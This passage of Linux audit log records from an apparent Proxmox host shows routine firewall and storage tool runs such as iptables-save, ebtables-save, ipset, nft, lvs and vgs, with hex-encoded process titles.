{"@timestamp":1781965945357,"@rawstring":"node=pve type=PATH msg=audit(1781965945.357:67780): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.807:61570): proctitle=\"ip6tables-save\""} {"@timestamp":1781965945357,"@rawstring":"node=pve type=PATH msg=audit(1781965945.357:67780): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565801,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.801:61569): proctitle=\"iptables-save\""} {"@timestamp":1781965945351,"@rawstring":"node=pve type=PATH msg=audit(1781965945.351:67779): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.798:61568): proctitle=\"ebtables-restore\""} {"@timestamp":1781965945351,"@rawstring":"node=pve type=PATH msg=audit(1781965945.351:67779): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565796,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.796:61567): proctitle=\"ebtables-restore\""} {"@timestamp":1781965945345,"@rawstring":"node=pve type=PATH msg=audit(1781965945.345:67778): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565792,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.792:61566): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965945345,"@rawstring":"node=pve type=PATH msg=audit(1781965945.345:67778): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565786,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.786:61565): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965945338,"@rawstring":"node=pve type=PATH msg=audit(1781965945.338:67777): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565782,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.782:61564): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965945338,"@rawstring":"node=pve type=PATH msg=audit(1781965945.338:67777): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565776,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.776:61563): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965945331,"@rawstring":"node=pve type=PATH msg=audit(1781965945.331:67776): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.772:61562): proctitle=697073657400726573746F7265"} {"@timestamp":1781965945331,"@rawstring":"node=pve type=PATH msg=audit(1781965945.331:67776): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.766:61561): proctitle=\"ip6tables-save\""} {"@timestamp":1781965945324,"@rawstring":"node=pve type=PATH msg=audit(1781965945.324:67775): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565759,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.759:61560): proctitle=\"iptables-save\""} {"@timestamp":1781965945324,"@rawstring":"node=pve type=PATH msg=audit(1781965945.324:67775): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565755,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.755:61559): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965945316,"@rawstring":"node=pve type=PATH msg=audit(1781965945.316:67774): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.752:61558): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965945316,"@rawstring":"node=pve type=PATH msg=audit(1781965945.316:67774): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.751:61557): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965945312,"@rawstring":"node=pve type=PATH msg=audit(1781965945.312:67773): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.751:61556): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965945312,"@rawstring":"node=pve type=PATH msg=audit(1781965945.312:67773): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565747,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.747:61555): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965945310,"@rawstring":"node=pve type=PATH msg=audit(1781965945.310:67772): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.741:61554): proctitle=\"ip6tables-save\""} {"@timestamp":1781965945310,"@rawstring":"node=pve type=PATH msg=audit(1781965945.310:67772): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.735:61553): proctitle=\"iptables-save\""} {"@timestamp":1781965945308,"@rawstring":"node=pve type=PATH msg=audit(1781965945.308:67771): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565730,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.730:61552): proctitle=69707365740073617665"} {"@timestamp":1781965945308,"@rawstring":"node=pve type=PATH msg=audit(1781965945.308:67771): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.724:61551): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965945308,"@rawstring":"node=pve type=PATH msg=audit(1781965945.308:67770): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565717,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.717:61550): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965945304,"@rawstring":"node=pve type=PATH msg=audit(1781965945.304:67769): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964564.861:61549): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945304,"@rawstring":"node=pve type=PATH msg=audit(1781965945.304:67769): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964564.861:61548): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945304,"@rawstring":"node=pve type=PATH msg=audit(1781965945.304:67769): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964564.861:61547): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945297,"@rawstring":"node=pve type=PATH msg=audit(1781965945.297:67768): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964564.854:61546): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945297,"@rawstring":"node=pve type=PATH msg=audit(1781965945.297:67768): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964564.854:61545): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945288,"@rawstring":"node=pve type=PATH msg=audit(1781965945.288:67767): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964564.854:61544): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945288,"@rawstring":"node=pve type=PATH msg=audit(1781965945.288:67767): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564521,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964564.521:61543): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965945283,"@rawstring":"node=pve type=PATH msg=audit(1781965945.283:67766): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964564495,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964564.495:61542): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965945283,"@rawstring":"node=pve type=PATH msg=audit(1781965945.283:67766): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964559.842:61541): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945276,"@rawstring":"node=pve type=PATH msg=audit(1781965945.276:67765): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964559.842:61540): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945276,"@rawstring":"node=pve type=PATH msg=audit(1781965945.276:67765): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964559.842:61539): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945265,"@rawstring":"node=pve type=PATH msg=audit(1781965945.265:67764): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964559.833:61538): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945265,"@rawstring":"node=pve type=PATH msg=audit(1781965945.265:67764): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964559.832:61537): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965944866,"@rawstring":"node=pve type=PATH msg=audit(1781965944.866:67763): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964559832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964559.832:61536): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965944866,"@rawstring":"node=pve type=PATH msg=audit(1781965944.866:67763): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.705:61535): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965944866,"@rawstring":"node=pve type=PATH msg=audit(1781965944.866:67762): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555701,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.701:61534): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965944866,"@rawstring":"node=pve type=PATH msg=audit(1781965944.866:67761): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.700:61533): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965944855,"@rawstring":"node=pve type=PATH msg=audit(1781965944.855:67760): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.700:61532): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965944855,"@rawstring":"node=pve type=PATH msg=audit(1781965944.855:67760): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.696:61531): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965944855,"@rawstring":"node=pve type=PATH msg=audit(1781965944.855:67759): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.690:61530): proctitle=\"ip6tables-save\""} {"@timestamp":1781965944855,"@rawstring":"node=pve type=PATH msg=audit(1781965944.855:67758): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.683:61529): proctitle=\"iptables-save\""} {"@timestamp":1781965944502,"@rawstring":"node=pve type=PATH msg=audit(1781965944.502:67757): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.677:61528): proctitle=\"ip6tables-save\""} {"@timestamp":1781965944502,"@rawstring":"node=pve type=PATH msg=audit(1781965944.502:67757): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.670:61527): proctitle=\"iptables-save\""} {"@timestamp":1781965944468,"@rawstring":"node=pve type=PATH msg=audit(1781965944.468:67756): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555667,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.667:61526): proctitle=\"ebtables-restore\""} {"@timestamp":1781965944468,"@rawstring":"node=pve type=PATH msg=audit(1781965944.468:67756): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.665:61525): proctitle=\"ebtables-restore\""} {"@timestamp":1781965939849,"@rawstring":"node=pve type=PATH msg=audit(1781965939.849:67755): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.660:61524): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965939849,"@rawstring":"node=pve type=PATH msg=audit(1781965939.849:67755): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.655:61523): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965939849,"@rawstring":"node=pve type=PATH msg=audit(1781965939.849:67754): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.650:61522): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965939849,"@rawstring":"node=pve type=PATH msg=audit(1781965939.849:67753): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555645,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.645:61521): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965939844,"@rawstring":"node=pve type=PATH msg=audit(1781965939.844:67752): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.640:61520): proctitle=697073657400726573746F7265"} {"@timestamp":1781965939844,"@rawstring":"node=pve type=PATH msg=audit(1781965939.844:67752): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555634,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.634:61519): proctitle=\"ip6tables-save\""} {"@timestamp":1781965939844,"@rawstring":"node=pve type=PATH msg=audit(1781965939.844:67751): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.627:61518): proctitle=\"iptables-save\""} {"@timestamp":1781965939844,"@rawstring":"node=pve type=PATH msg=audit(1781965939.844:67750): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555624,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.624:61517): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965935254,"@rawstring":"node=pve type=PATH msg=audit(1781965935.254:67749): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.621:61516): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965935254,"@rawstring":"node=pve type=PATH msg=audit(1781965935.254:67749): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.620:61515): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965935251,"@rawstring":"node=pve type=PATH msg=audit(1781965935.251:67748): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.620:61514): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965935251,"@rawstring":"node=pve type=PATH msg=audit(1781965935.251:67748): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555616,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.616:61513): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965935249,"@rawstring":"node=pve type=PATH msg=audit(1781965935.249:67747): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555610,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.610:61512): proctitle=\"ip6tables-save\""} {"@timestamp":1781965935249,"@rawstring":"node=pve type=PATH msg=audit(1781965935.249:67747): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.603:61511): proctitle=\"iptables-save\""} {"@timestamp":1781965935249,"@rawstring":"node=pve type=PATH msg=audit(1781965935.249:67746): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555599,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964555.599:61510): proctitle=69707365740073617665"} {"@timestamp":1781965935245,"@rawstring":"node=pve type=PATH msg=audit(1781965935.245:67745): item=2 